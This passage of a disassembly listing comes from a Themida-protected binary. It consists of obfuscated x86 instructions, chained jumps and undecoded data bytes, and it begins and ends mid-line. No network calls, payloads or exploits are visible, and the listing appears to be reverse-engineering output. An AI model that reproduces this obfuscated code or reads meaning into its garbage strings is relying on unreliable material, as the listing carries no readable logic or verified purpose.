1F7B249Bh sub ecx, edi sub ecx, 1F7B249Bh pop edi jmp loc_5632AC ; --------------------------------------------------------------------------- dw 0EC83h dd 24048904h, 0A16EF9B8h, 3A402D4Ch, 0D8F7256Dh, 168AC335h dd 8E950ACh db 9Bh, 2 dup(0) byte_5543C3 db 66h ; DATA XREF: Themida_:0054FE5Co dd 68240C8Bh, 0C3Ah, 54243489h db 8Bh, 34h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] sub esp, 4 mov [esp], ebp mov ebp, 4 jmp loc_553DB4 ; --------------------------------------------------------------------------- aMqhr db '¬Qhà',7,0 ; DATA XREF: Themida_:0054FD20o dw 8900h dd 75B7241Ch, 0E8B75352h, 87C0E9h db 0 ; --------------------------------------------------------------------------- loc_55440D: ; CODE XREF: Themida_:0055272Ej not ebp sub ebp, 2E1C5693h dec ebp xor ebp, 2D4A19E5h xor edx, ebp pop ebp add edi, edx mov edx, [esp] add esp, 4 sub edi, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] jmp loc_55700C ; --------------------------------------------------------------------------- loc_55443B: ; CODE XREF: Themida_:005519C9j mov [esp], eax push edx push 75725DCh pop edx add edx, 0F8A8DA40h jmp loc_55B17F ; --------------------------------------------------------------------------- dd 241CF757h, 0FFC7815Fh, 0F7FFFFFFh, 17B868D7h, 1C890000h dd 6D95BB24h, 0DF014896h, 2FDCE9h, 4EC8300h, 83241C89h dd 348904ECh, 71796824h, 4E5E4565h, 773768h, 242C8900h dd 894FE9h, 0E3895300h, 319D68h, 24048900h, 4B8h, 58C30100h dd 0FFC441E9h, 24048BFFh, 8004C483h, 0FE286DC6h, 8B6DEE80h dd 2CE9241Ch, 25FFFFD7h, 111C7360h, 31005135h, 0EF330573h dd 1AE9DC26h db 0CFh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5544D3: ; CODE XREF: Themida_:0055D61Fj shl eax, 7 shr eax, 1 not eax sub eax, 664BF257h and ebx, eax pop eax sub ebx, 4567D822h mov esi, ebx pop ebx add ebx, 6BAA19B7h sub ebx, esi sub ebx, 6BAA19B7h jmp loc_562394 ; --------------------------------------------------------------------------- dw 0C8Bh dd 0E2895224h, 0FFBD7BE9h, 0FEBAB1FFh, 3AE980C1h, 8020C180h dd 0D56886E9h, 89000077h, 0CC882404h, 90FE9h, 97553500h dd 0C5211BFFh, 14F75558h, 0E1A3E924h, 0EE81FFFFh, 0ABD4819h dd 0B943E9h, 51505A00h, 0A44782B9h, 0CFEEB819h, 0C8013962h dd 7762E9h db 0 ; --------------------------------------------------------------------------- loc_554555: ; CODE XREF: Themida_:00553FD4j mov [esp], ebp mov ebp, 1 and eax, ebp jmp loc_564855 ; --------------------------------------------------------------------------- loc_554564: ; CODE XREF: Themida_:005548E4j mov [esp], edx mov edx, 38A5795Dh and edi, edx mov edx, [esp] add esp, 4 jmp loc_55EDC4 ; --------------------------------------------------------------------------- db 81h, 0EDh, 0AFh dd 0E905AA3Ch, 7D74h ; --------------------------------------------------------------------------- loc_554584: ; CODE XREF: Themida_:0055CEFDj pop eax add edx, eax sub edx, 77ED24F2h pop eax jmp loc_562B5E ; --------------------------------------------------------------------------- loc_554593: ; CODE XREF: Themida_:00561118j pop esp mov [esp], ebp mov ebp, 57961B94h xor esi, ebp pop ebp jmp loc_555592 ; --------------------------------------------------------------------------- loc_5545A4: ; CODE XREF: Themida_:00563DDDj pop ebx sub esi, eax add esi, 30072753h jmp loc_55C5CC ; --------------------------------------------------------------------------- dw 0C481h dd 4, 7AD8E9h db 0 ; --------------------------------------------------------------------------- loc_5545BD: ; CODE XREF: Themida_:0055273Cj add edi, edx mov edx, [esp] add esp, 4 push eax sub esp, 4 mov [esp], ebx push esi jmp loc_55A480 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h aZsts db 'ZSTé>×',0 align 10h dd 34663BBDh, 58C531C5h, 0BE5BDD01h, 140EA7C5h, 0E0A9E9h db 0 ; --------------------------------------------------------------------------- loc_5545F5: ; CODE XREF: Themida_:00556816j xor dh, 7Bh jmp loc_55976A ; --------------------------------------------------------------------------- db 0C1h, 0E6h, 3 aPsY db 'PéÚY',0 align 2 loc_554606: ; CODE XREF: Themida_:005622ACj mov dl, 80h jmp loc_554FC3 ; --------------------------------------------------------------------------- db 87h, 34h, 24h dd 34FEE9h db 0 ; --------------------------------------------------------------------------- loc_554615: ; CODE XREF: Themida_:005609C0j mov ebx, [esp] jmp loc_555F55 ; --------------------------------------------------------------------------- db 81h, 4, 24h dd 4, 8124048Fh, 4ECh, 242C8900h, 4BDh, 24448100h, 4B628B04h dd 246C813Fh, 0C208F904h, 94F9E90Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55464A: ; CODE XREF: Themida_:0055E699j add esp, 4 add eax, 0BB5BA77Bh jmp loc_55F301 ; --------------------------------------------------------------------------- loc_554657: ; CODE XREF: Themida_:0055098Fj mov esi, 241C079Fh add eax, esi pop esi add eax, 5020283Dh mov ebx, [esp] add esp, 4 push edi mov edi, esp jmp loc_55996B ; --------------------------------------------------------------------------- loc_554675: ; CODE XREF: Themida_:0055FEEAj pop esp pop ebx jmp loc_555D61 ; --------------------------------------------------------------------------- dd 582434FFh, 4C481h, 0C1830000h, 74FF5102h, 8F590424h dd 248B2404h, 2424D224h, 1B45E99Ch, 0C2810000h, 42817BACh dd 0BFE9EA01h, 8B0000B2h, 0E9522434h, 0BB23h, 0B6241489h dd 806EB400h, 0F42840ECh, 5A40C480h, 48BE530h, 4C48124h dd 80000000h, 25E9FAC5h db 0BFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5546D7: ; CODE XREF: Themida_:00552E97j add edi, 2 xchg edi, [esp] mov esp, [esp] jmp loc_55E706 ; --------------------------------------------------------------------------- loc_5546E8: ; CODE XREF: Themida_:0055A6B8j pop esp jmp loc_56054B ; --------------------------------------------------------------------------- dw 0E8B6h dd 63E9F730h, 890000EFh, 4C781E7h, 83000000h, 45E904C7h dd 51FFFFF9h, 4E9C0B5h, 29000073h, 1FF068D8h, 3C890000h dd 4C58BF24h, 5368594Ah, 8900004Eh, 0AABB241Ch, 4B1A3B18h dd 7E2CE9h db 0 ; --------------------------------------------------------------------------- loc_554731: ; CODE XREF: Themida_:0055BA6Dj xor [esp], esi push esi push esp pop esi add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], esi jmp loc_565157 ; --------------------------------------------------------------------------- dd 405E089h, 57000000h, 4BFh, 51DE900h db 1, 0 ; --------------------------------------------------------------------------- loc_55475E: ; CODE XREF: Themida_:005652C1j push ecx mov ecx, 3B4A0B0Ah and ecx, 4EB031C5h sub ecx, 2A2A5BB8h not ecx shr ecx, 1 shl ecx, 4 add ecx, 64C4370Dh jmp loc_552C22 ; --------------------------------------------------------------------------- loc_554782: ; CODE XREF: Themida_:00564F9Fj pop esp jmp loc_558E65 ; --------------------------------------------------------------------------- loc_554788: ; CODE XREF: Themida_:0055E4FBj push ebp mov ebp, 7313F5C8h add esi, ebp pop ebp jmp loc_556FEF ; --------------------------------------------------------------------------- dw 5401h dd 0E95A0824h, 0FFFFE343h, 15E9D689h, 83000018h, 348904ECh dd 38E95324h, 66000035h, 0D5E9505Ah, 0E9FFFFF1h, 0FFFFB757h ; --------------------------------------------------------------------------- loc_5547C0: ; CODE XREF: Themida_:0056161Cj pop ebx mov eax, [esp] add esp, 4 loc_5547C7: ; CODE XREF: Themida_:005531C3j ; Themida_:0055CE5Cj push 12B0h mov [esp], ebx push dword ptr [esp] pop eax push esi push esp jmp loc_558BF9 ; --------------------------------------------------------------------------- dw 0EC68h dd 89000008h, 0EEBE2434h, 0E9213806h, 785h, 0E98EE780h dd 0E39Eh, 1E5DF868h, 2434FF2Ah, 0B9EDE9h, 4EC8100h, 89000000h dd 8B54240Ch, 43E9240Ch db 29h, 2 dup(0) ; --------------------------------------------------------------------------- loc_554813: ; CODE XREF: Themida_:005504F5j mov [esp], ebp mov ebp, 707A355Ch sub ebp, 1 add ebp, 3A08644Ch jmp loc_5576AD ; --------------------------------------------------------------------------- dd 0E4800AB4h, 7DF480D0h, 0E4C0C4FEh, 0D2B75305h, 0E95BFC30h dd 3E6Dh ; --------------------------------------------------------------------------- loc_554844: ; CODE XREF: Themida_:00554AEEj add edx, 4 add edx, 4 jmp loc_55CED9 ; --------------------------------------------------------------------------- loc_554852: ; CODE XREF: Themida_:00552140j add esp, 4 jmp loc_559BBA ; --------------------------------------------------------------------------- loc_55485A: ; CODE XREF: Themida_:00557871j pop esi mov eax, [esp] push edi mov edi, esp jmp loc_555021 ; --------------------------------------------------------------------------- dw 0C89h aTsm db '$Tém·',0 dw 8B00h dd 0C483243Ch, 0A49DE904h, 0C3810000h, 0DF92E06h, 1E1E9h dd 79EE8100h, 5A2DC17Dh, 0E906E6C1h, 5B97h ; --------------------------------------------------------------------------- loc_554894: ; CODE XREF: Themida_:0055C995j add esp, 4 pop dword ptr [esp] pop esp jmp loc_558F1D ; --------------------------------------------------------------------------- dd 62CCE781h, 0C7814F4Ch, 0B5F39D3Ch, 835FFE01h, 148904ECh dd 46824h, 148B0000h, 4C48324h, 685AD601h, 6A32h, 0FF243489h dd 0E9042474h, 0EA56h, 4BDh, 813BE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5548DE: ; CODE XREF: Themida_:0055EEBCj pop esi push 6DC9h jmp loc_554564 ; --------------------------------------------------------------------------- db 83h, 0C5h, 4 dd 8B242C87h, 0D8E92424h db 0BBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5548F7: ; CODE XREF: Themida_:00562EFFj mov [esp], eax push esi push 64A95535h mov esi, [esp] add esp, 4 sub esi, 43AB2ADCh jmp loc_564E30 ; --------------------------------------------------------------------------- db 5Bh, 81h, 0C3h dd 4, 8702C383h, 665C241Ch, 2404AB0Fh, 0DAD1E99Ch, 9E680000h dd 54000042h, 5524048Fh, 4BA52h, 0D7E90000h, 88000037h dd 59CB88C1h, 427E6852h, 0C890000h, 0E9D98824h, 0FFFFEC1Dh dd 6BE9D629h, 53000103h, 97D0E9h db 0 ; --------------------------------------------------------------------------- loc_554961: ; CODE XREF: Themida_:0056392Fj pop esp sub edi, 365B6FA9h sub edi, ecx jmp loc_551F74 ; --------------------------------------------------------------------------- db 83h dd 1C8904ECh, 6328BB24h, 0F74372A9h, 6257E9DBh, 0C1010000h dd 48AEE9h db 0 ; --------------------------------------------------------------------------- loc_554989: ; CODE XREF: Themida_:0055EBA7j mov ecx, 6ED03E7Ch sub ecx, 0C68972FCh add ebp, ecx jmp loc_562F57 ; --------------------------------------------------------------------------- db 0C1h dd 0BD5503E6h, 4E1270E0h, 4F78C681h, 0EE016F70h, 6C35E9h dd 0C8B6600h, 7C8E924h, 0C2290001h, 74FF5258h, 148B0424h dd 2E57E924h, 0C870000h, 0DDE95C24h, 59FFFFB9h, 6E9C15Eh dd 0BF49E981h, 0C181F0F1h, 2F261776h, 35DF181h, 0E953225Ah dd 0BBA6h, 405h, 8CE5E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5549FA: ; CODE XREF: Themida_:00556AF8j sub esp, 2 mov [esp], si push edx mov dx, 6BA7h sub dx, 1 jmp loc_55A356 ; --------------------------------------------------------------------------- dw 489h dd 11E5B824h, 0C3012588h, 95C38158h, 81473B62h, 0CC3362C3h dd 0FAF6E922h, 0E95C0000h, 0EB9Fh ; --------------------------------------------------------------------------- loc_554A34: ; CODE XREF: Themida_:00558AC6j add ecx, edi pop edi push edx mov edx, 4 add ecx, edx pop edx push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] xor eax, ebp xor ebp, eax jmp loc_55F16F ; --------------------------------------------------------------------------- db 58h, 0E9h, 69h db 0BBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554A5B: ; CODE XREF: Themida_:0055EDBFj xchg ebx, [esp] pop esp and eax, ebp jmp loc_561BB9 ; --------------------------------------------------------------------------- dw 8758h dd 4BE9241Ch db 91h, 2 dup(0) ; --------------------------------------------------------------------------- loc_554A6F: ; CODE XREF: Themida_:0055FB94j mov ebx, esp add ebx, 4 push ecx mov ecx, 63A65F41h inc ecx xchg ebp, ecx not ebp xchg ebp, ecx and ecx, 11C82974h add ecx, 285B6023h sub ecx, 38A38053h jmp loc_550A28 ; --------------------------------------------------------------------------- loc_554A9B: ; CODE XREF: Themida_:005607A5j push dword ptr [esp] pop edx push 1885h mov [esp], edx mov edx, esp push esi mov esi, 4B460BA0h or esi, 520F4BD8h jmp loc_55D11D ; --------------------------------------------------------------------------- dw 348Bh dd 4C48124h, 0C1000000h, 0C38106EBh, 4B4A50CFh, 8101EB83h dd 0AD3940C3h, 123E922h, 0BC0D0001h, 254CF84Dh, 10065355h dd 3554E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_554AEA: ; CODE XREF: Themida_:00565323j pop edx push edx push esp pop edx jmp loc_554844 ; --------------------------------------------------------------------------- loc_554AF3: ; CODE XREF: Themida_:0055AC90j and edi, esi pop esi not edi push ebp mov ebp, 0DD5E94E1h jmp loc_55D495 ; --------------------------------------------------------------------------- byte_554B03 db 66h ; DATA XREF: Themida_:0054FDC0o dd 0E924048Bh, 4793h, 772668h, 24048900h, 1B83E9h, 5E585600h dd 5596D6F7h, 0FFC0EEE9h, 1B850FFh, 1000000h, 0F93158C7h dd 0F931CF31h, 26BD5541h, 0C1372402h, 0F58108EDh, 9AD3F50h dd 0E902E5C1h, 0A642h, 0C781DF01h, 2EF0425Eh, 57241C8Bh dd 52E9E789h, 5AFFFFB4h, 4C481h, 47E90000h, 89FFFFFAh dd 0E1C15DE9h, 8DC18104h, 815A68AFh, 4ECh, 243C8900h, 0E8F2BEBFh dd 5FF901BAh, 7CCABE56h, 0F0011B1Fh, 2DC8295Eh, 1B1F7CCAh dd 4257E9h db 0 ; --------------------------------------------------------------------------- loc_554B9D: ; CODE XREF: Themida_:00553100j push ecx mov ecx, 4516E0Ah or edx, ecx mov ecx, [esp] add esp, 4 push eax mov eax, 730338ECh sub eax, 57014F33h jmp loc_553513 ; --------------------------------------------------------------------------- db 87h dd 1AE92414h db 17h, 2 dup(0) ; --------------------------------------------------------------------------- loc_554BC3: ; CODE XREF: Themida_:00560B5Dj sub esp, 4 mov [esp], esi mov esi, 1F86A72h add ebp, esi pop esi jmp loc_54FF4E ; --------------------------------------------------------------------------- loc_554BD9: ; CODE XREF: Themida_:0055162Cj push 7EDAh jmp loc_55AC37 ; --------------------------------------------------------------------------- db 81h dd 0DC5522EFh, 0E9F72939h, 0BF3Dh ; --------------------------------------------------------------------------- loc_554BF0: ; CODE XREF: Themida_:0055F97Cj add esp, 4 sub esp, 4 mov [esp], esi push esp pop esi add esi, 4 jmp loc_55BE0D ; --------------------------------------------------------------------------- loc_554C09: ; CODE XREF: Themida_:00563004j pop ebx and ebx, 0C470618h push eax mov eax, 7D862DD5h and ebx, eax jmp loc_55B871 ; --------------------------------------------------------------------------- db 81h, 0C3h, 3Eh dd 1783219h, 0BA5257F3h, 26666F97h, 0E0CE9h, 20E95000h db 9, 1, 0 ; --------------------------------------------------------------------------- loc_554C37: ; CODE XREF: Themida_:0056438Bj sub [esp+4], esi add dword ptr [esp+4], 2F573649h pop esi mov eax, [esp] add esp, 4 push edi push esp jmp loc_563E78 ; --------------------------------------------------------------------------- db 87h, 34h, 24h dd 242C895Ch, 8904EC83h, 0BF572424h, 4, 4247C01h, 0BB535D5Fh dd 4, 291BBA52h, 95E976D6h, 810000A5h, 2A346BC3h, 5AC3813Dh dd 0E92E4663h, 0BC09h, 4EC8355h, 5D243C89h, 83243C8Bh dd 0D7F704C4h, 0E3E9FD87h, 0BB000095h, 4EA872D3h, 295BDA01h dd 2434FFD0h, 8324148Bh, 895104C4h, 4C181E1h, 81000000h dd 4C1h, 240C8700h, 0FFC2015Ch, 51582434h, 0C181E189h dd 4, 4C181h, 0C870000h, 0E9575C24h, 872Ch, 54240489h dd 11D8E9h, 0E9FE8700h, 0FFFFF0F3h ; --------------------------------------------------------------------------- loc_554CF8: ; CODE XREF: Themida_:0055C1B2j add esp, 4 xchg edx, [esp] mov esp, [esp] jmp loc_54FF17 ; --------------------------------------------------------------------------- loc_554D06: ; CODE XREF: Themida_:00552F08j add bl, dl pop edx push esi jmp loc_5628A2 ; --------------------------------------------------------------------------- loc_554D0F: ; CODE XREF: Themida_:00550097j mov edi, 4 add ecx, edi pop edi xchg ecx, [esp] mov esp, [esp] sub esp, 4 mov [esp], eax push esi mov esi, 40BC104Dh neg esi xor esi, 0E63FDBCEh jmp loc_55021B ; --------------------------------------------------------------------------- dw 0D5F7h dd 361EC581h, 0E9E93FD2h db 92h, 2 dup(0) ; --------------------------------------------------------------------------- loc_554D43: ; CODE XREF: Themida_:00551EABj add edi, ebx pop ebx sub esi, edi pop edi pop edx add ecx, esi jmp loc_560AFF ; --------------------------------------------------------------------------- db 55h, 0BDh, 27h dd 817BDE6Ch, 0B7C50FC5h, 8BE809DEh, 36E9242Ch, 4FFFFECh dd 2044044Eh, 0F58058C5h, 5DB65246h, 0FE16EE80h, 0D1EE80C6h dd 0E901B652h, 1055h, 0E9D38766h, 3EA7h aMh db '¬hÃ~',0 ; DATA XREF: Themida_:0054FD64o align 2 aSi_ db 'éi_',0 dw 5A00h dd offset dword_445750+5599h db 0 ; --------------------------------------------------------------------------- loc_554D9D: ; CODE XREF: Themida_:00553C68j add esp, 4 push edi jmp loc_562ED7 ; --------------------------------------------------------------------------- loc_554DA9: ; CODE XREF: Themida_:005591DCj mov esp, [esp] add edx, 4 sub edx, 4 jmp loc_557BC2 ; --------------------------------------------------------------------------- aSn db '^éN',0Bh,0 align 10h loc_554DC0: ; CODE XREF: Themida_:005501A0j add esp, 4 sub esp, 4 mov [esp], ecx mov ecx, 0 jmp loc_561621 ; --------------------------------------------------------------------------- db 5Dh, 0C1h, 0E8h dd 0DCA6E902h db 2 dup(0) ; --------------------------------------------------------------------------- loc_554DE2: ; CODE XREF: Themida_:0055A3F6j mov edi, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] jmp loc_54FF17 ; --------------------------------------------------------------------------- db 81h dd 9B5712EBh, 81EB297Eh, 9B5712C3h, 242C8B7Eh, 0E904C483h dd 94CFh ; --------------------------------------------------------------------------- loc_554E0C: ; CODE XREF: Themida_:00564114j sub ch, 0FFh add ch, 61h jmp loc_56462C ; --------------------------------------------------------------------------- db 52h dd 7C605EBAh, 7EAC175h, 0FA04F281h, 0D02160B9h, 8324148Bh dd 0E95204C4h, 0AE97h, 0E958E288h, 2E5Bh ; --------------------------------------------------------------------------- loc_554E3C: ; CODE XREF: Themida_:0055B055j add edx, edi mov [edx], cl pop edx jmp loc_557646 ; --------------------------------------------------------------------------- loc_554E46: ; CODE XREF: Themida_:0055807Ej pop ebx jmp loc_55DBE9 ; --------------------------------------------------------------------------- dd 47C6815Bh, 1347C0Eh, 47EE81FEh, 81347C0Eh, 5365EEEh dd 2434FF74h, 4C4815Fh, 51000000h, 4B9h, 59CE0100h, 2474FF56h dd 48F5E04h, 24248B24h, 6E2AE9h, 0EA815D00h, 59BA3329h dd 0C281CA01h, 59BA3329h, 0FFC4E3E9h db 0FFh ; --------------------------------------------------------------------------- loc_554E99: ; CODE XREF: Themida_:00560726j pop esi push edx neg dword ptr [esp] pop edx not edx push 501Ch mov [esp], esi push 6C8Ch mov [esp], edi push 0F94CCCh jmp loc_556E1C ; --------------------------------------------------------------------------- db 55h dd 0A84FB968h, 0F5815D1Eh, 4D03298Dh, 3F16C581h, 0ED8123A5h dd 7750A548h, 1C8B5553h, 4C48124h, 53000000h, 0FFBCEAE9h dd 24048FFFh, 0E1F7665Ch, 0F6E95456h, 5A000095h, 8B242C87h dd 0FFE92424h, 8BFFFFF0h, 0C481243Ch, 4, 0E60EE9h, 0A8685700h dd 89000076h, 0E92414h, 8F000019h, 875C2404h, 0EE8745EEh dd 0FFE2EE81h, 0F101258Fh, 9968555Eh, 5D23BD64h, 0ED9BE56h dd 0E6812496h, 70FF029Fh, 5967BB53h, 0C3816322h, 4A037101h dd 0CA69F381h, 6DE9AD25h db 0AEh, 2 dup(0) ; --------------------------------------------------------------------------- loc_554F57: ; CODE XREF: Themida_:0055282Fj mov ebx, 3D7C67C3h mov edi, 427DE74Eh sub edi, ebx mov ebx, [esp] sub esp, 4 mov [esp], edx jmp loc_55141F ; --------------------------------------------------------------------------- db 46h, 0C1h, 0E6h dd 4EC8305h, 0E9240C89h, 0AFD5h ; --------------------------------------------------------------------------- loc_554F80: ; CODE XREF: Themida_:00558D6Cj pop edi push 2C49h mov [esp], eax mov eax, 4 add edi, 7674672Ch add edi, eax sub edi, 7674672Ch pop eax add edi, 4 xor edi, [esp] jmp loc_555A5F ; --------------------------------------------------------------------------- dd 81242489h, 42404h, 1C8B0000h, 4EC8124h, 89000000h, 87E9243Ch db 0BBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554FC3: ; CODE XREF: Themida_:00554608j mov ch, 0CDh inc ch jmp loc_56258D ; --------------------------------------------------------------------------- dd 60685256h, 5A4B6E0Bh, 0B64F281h, 0D6894B6Eh, 0BC61E9h dd 0BC48000h, 0E924148Bh, 5792h, 875854B8h, 0E6354814h dd 484D9950h, 0B41B920Dh, 0F16DE931h, 0FB890000h, 83243C8Bh dd 0C9E904C4h, 46FFFFD4h, 19BF5750h, 89DB7284h, 0C6295FF8h dd 3E36E9h db 0 ; --------------------------------------------------------------------------- loc_555021: ; CODE XREF: Themida_:00554861j add edi, 4 add edi, 4 jmp loc_562EF6 ; --------------------------------------------------------------------------- loc_55502F: ; CODE XREF: Themida_:005627B0j add esp, 4 shr ebp, 7 dec ebp jmp loc_561D89 ; --------------------------------------------------------------------------- loc_55503B: ; CODE XREF: Themida_:00561A41j pop esp or edx, eax shl edx, 1 push 4A76h mov [esp], eax push ebx mov ebx, 2DA01E98h jmp loc_5625CF ; --------------------------------------------------------------------------- db 8Bh dd 0C4832414h, 45326804h, 4890000h, 0AEB1E924h db 2 dup(0FFh) word_555066 dw 248Bh ; DATA XREF: Themida_:0054FE90o dd 0AEA9E924h, 0EC83FFFFh, 241C8904h, 1D7BAFBBh, 0ABEB8109h dd 1091D7Bh, 241C8BDAh, 14D8E9h db 0 ; --------------------------------------------------------------------------- loc_555089: ; CODE XREF: Themida_:00558009j pop esp mov [esp], edx mov edx, 62B911DCh jmp loc_55A766 ; --------------------------------------------------------------------------- db 68h dd 689Ch, 0BE243489h, 2, 685EF301h, 33A6h, 89243C89h, 4C781E7h dd 83000000h, 3C3304EFh, 0D27FE924h, 0C330000h, 240C3124h dd 2B5FE9h, 81DFF700h, 0FFFFFFEFh, 0CBB53FFh, 817A1813h dd 555371CBh, 0E3814336h, 654357D7h, 11DFE9h, 240C3300h dd 0FFB0DCE9h, 6C29B9FFh, 0F1817903h, 59CC5301h, 159CF29h dd 28C781DFh, 8120CF3Fh, 7B7918EFh, 0D1C78139h, 0E9173303h dd 0DBFFh ; --------------------------------------------------------------------------- loc_55511C: ; CODE XREF: Themida_:00561A90j cmp eax, edx jz loc_55E905 push ebp push 22DBh mov [esp], eax push edx mov edx, esp push eax mov eax, 4 jmp loc_559806 ; --------------------------------------------------------------------------- db 5Dh dd 15EF389h, 0D0E95BDAh, 58FFFFADh, 0A34959BFh, 0E9C72997h dd 0EBFBh ; --------------------------------------------------------------------------- loc_555154: ; CODE XREF: Themida_:00557802j mov [esp], esi push edi sub esp, 4 mov [esp], ebx push edi jmp loc_55CC77 ; --------------------------------------------------------------------------- dd 57E9CAFEh, 83FFFFAFh, 0B3E904ECh db 0D4h, 2 dup(0) ; --------------------------------------------------------------------------- loc_555173: ; CODE XREF: Themida_:00551802j shl edi, 5 xor edi, 43280A26h xor edi, 70E021C6h push edi xor dword ptr [esp], 106822BCh pop edx xor edx, 106822BCh jmp loc_559A75 ; --------------------------------------------------------------------------- loc_555196: ; CODE XREF: Themida_:0055F900j push dword ptr [esp] pop edx add esp, 4 jmp loc_55B484 ; --------------------------------------------------------------------------- loc_5551A5: ; CODE XREF: Themida_:0055141Aj pop dword ptr [esp] pop esp push ebp push edx push esi jmp loc_559BC8 ; --------------------------------------------------------------------------- aIHum db '\‰,$hãM',0 align 2 dw 3C89h dd 10CEBF24h, 0FD892C3Fh, 81243C8Bh, 4C4h, 0FD56800h, 1C890000h dd 71DFBB24h, 0EB817CC1h, 0FFFFFFFFh, 0E907E3C1h, 5C17h dd 7612CF81h, 0D7F72726h, 176FEF81h, 0F7812D39h, 2B0538EBh dd 0D7EE9h, 0EB805800h, 0C0B60FA8h, 0A0ECE9h, 4C78100h dd 0E9000000h, 0FFFFC667h, 4C481h, 0C870000h, 24248B24h dd 300768h, 24048900h, 0FFCB65E9h, 0F22958FFh, 8324348Bh dd 0CA0104C4h, 5715C281h, 33594E97h, 14312414h, 24143324h dd 0F10BE9h, 24148700h, 2414895Ch, 0C281E289h, 4, 4B951h dd 0E7E90000h, 0E90000A0h, 0FFFFACA7h ; --------------------------------------------------------------------------- loc_555270: ; CODE XREF: Themida_:005653E0j sub dl, 1 sub dl, 0FFh push ecx mov cl, 0B2h dec cl jmp loc_551D59 ; --------------------------------------------------------------------------- dd 0D7A4E953h, 0FA30FFFFh, 0E2805B66h, 9AE28000h, 0E9C4B753h dd 0FFFFF554h ; --------------------------------------------------------------------------- loc_555298: ; CODE XREF: Themida_:00561787j pop edi push 28EEh mov [esp], esi push 416Bh mov [esp], edx jmp loc_555484 ; --------------------------------------------------------------------------- loc_5552AE: ; CODE XREF: Themida_:00550F05j push dword ptr [esp] pop esi add esp, 4 add ecx, 4 xor ecx, [esp] jmp loc_55F7C8 ; --------------------------------------------------------------------------- dw 0C381h dd 4, 4EB81h, 1C870000h, 24248B24h, 50242489h, 468h, 44015800h dd 8B580424h, 0C483243Ch, 0E6BB5304h, 0E96E6B21h, 10194h ; --------------------------------------------------------------------------- loc_5552F8: ; CODE XREF: Themida_:005606F6j push edi mov edi, 78D2672Ah jmp loc_5573B0 ; --------------------------------------------------------------------------- byte_555303 db 66h ; DATA XREF: Themida_:0054FD98o dd 0E9240C8Bh, 0BD7Bh, 0CD2EE981h, 0CA2928BAh, 592434FFh dd 4C481h, 0F4E90000h, 81FFFFABh, 0EFB807C3h, 8BDF0935h dd 0C481241Ch, 4, 7AC9BB53h, 0DF29AB33h, 4613E9h db 0 ; --------------------------------------------------------------------------- loc_555341: ; CODE XREF: Themida_:00561188j add ecx, 4 push 5857h jmp loc_553A39 ; --------------------------------------------------------------------------- db 81h, 0C7h, 5Ch dd 8116C84Ch, 71198CC7h, 3EFC15Ch, 479EEF81h, 0C7816D23h dd 549E177Ah, 28C4E9h db 0 ; --------------------------------------------------------------------------- loc_555371: ; CODE XREF: Themida_:005517A7j push dword ptr [esp] mov ebx, [esp] add esp, 4 push esi mov esi, esp jmp loc_557318 ; --------------------------------------------------------------------------- dw 0EA01h dd 0FFE5B4E9h db 0FFh ; --------------------------------------------------------------------------- loc_555389: ; CODE XREF: Themida_:0055D062j add ebp, 32A132B2h sub ebp, edx sub ebp, 32A132B2h pop edx jmp loc_5597DA ; --------------------------------------------------------------------------- loc_55539D: ; CODE XREF: Themida_:0055B466j push eax push esp push dword ptr [esp] pop eax add esp, 4 add eax, 4 add eax, 4 jmp loc_55849C ; --------------------------------------------------------------------------- aCiufx db '´æˆãfX',0 aSe_0 db 'Ø[饺',0 dd 24148900h, 685166B2h, 7A4h, 0B4240489h, 8BE5886Dh, 0C4832404h dd 3EDC004h, 76C3E9h, 24448100h, 6E1CDF04h, 34FF5D72h dd 0C4835924h, 4C18104h, 52000000h, 686A4FBAh, 95EA810Ah dd 68139035h, 70D0h, 68243C89h, 0F6D834BEh, 5FFA315Fh dd 0D5E9D101h, 0BE000064h, 55737D2h, 0C14EDEF7h, 0EEC104EEh dd 0A3EE8102h, 31CB44C8h, 0C31AE9F3h, 4BF0000h, 1000000h dd 0E0E95FFBh, 5B000086h, 3F40E951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55544A: ; CODE XREF: Themida_:0055F049j pop eax jmp loc_564D5B ; --------------------------------------------------------------------------- dd 0AA6DC281h, 0E981C6B4h, 53937C67h, 0C181D101h, 53937C67h dd 0FFC8295Ah, 34FF2434h, 0C4835924h, 0E0895004h, 405h dd 4BB5300h, 0E9000000h, 0FFFFBEBDh ; --------------------------------------------------------------------------- loc_555484: ; CODE XREF: Themida_:005552A9j mov edx, 4 sub esp, 4 mov [esp], eax jmp loc_5584B1 ; --------------------------------------------------------------------------- aY0Sx db 'Y0ÁéxÛ',0 align 4 loc_55549C: ; CODE XREF: Themida_:0055E7E9j pop esp mov [esp], ebp push edx jmp loc_551266 ; --------------------------------------------------------------------------- dw 0E4BAh dd 29245D44h, 0E8015AD5h, 4055Dh, 4330000h, 24043124h dd 8B240433h, 50E92424h db 0AAh, 2 dup(0FFh) byte_5554C7 db 0FFh ; DATA XREF: Themida_:0054FDA0o dd 34FF2434h, 24048B24h, 4C481h, 89560000h, 4C681E6h, 81000000h dd 4C6h, 24348700h, 84EFE9h db 0 ; --------------------------------------------------------------------------- loc_5554ED: ; CODE XREF: Themida_:0055F717j push dword ptr [eax] jmp loc_5609A5 ; --------------------------------------------------------------------------- dd 4C2835Dh, 0E9241487h, 3269h, 4C7835Ah, 5C243C87h, 8B243487h dd 0EC832424h, 240C8904h, 5E08950h, 4, 8704E883h, 0E95C2404h dd 4D18h, 565DE829h, 5D4E9h, 33E95A00h, 2D00003Ch, 1A21618Eh dd 8E05C801h, 8B1A2161h, 0C481240Ch, 4, 31240433h, 0CCE92404h dd 5500003Ch, 8155C589h, 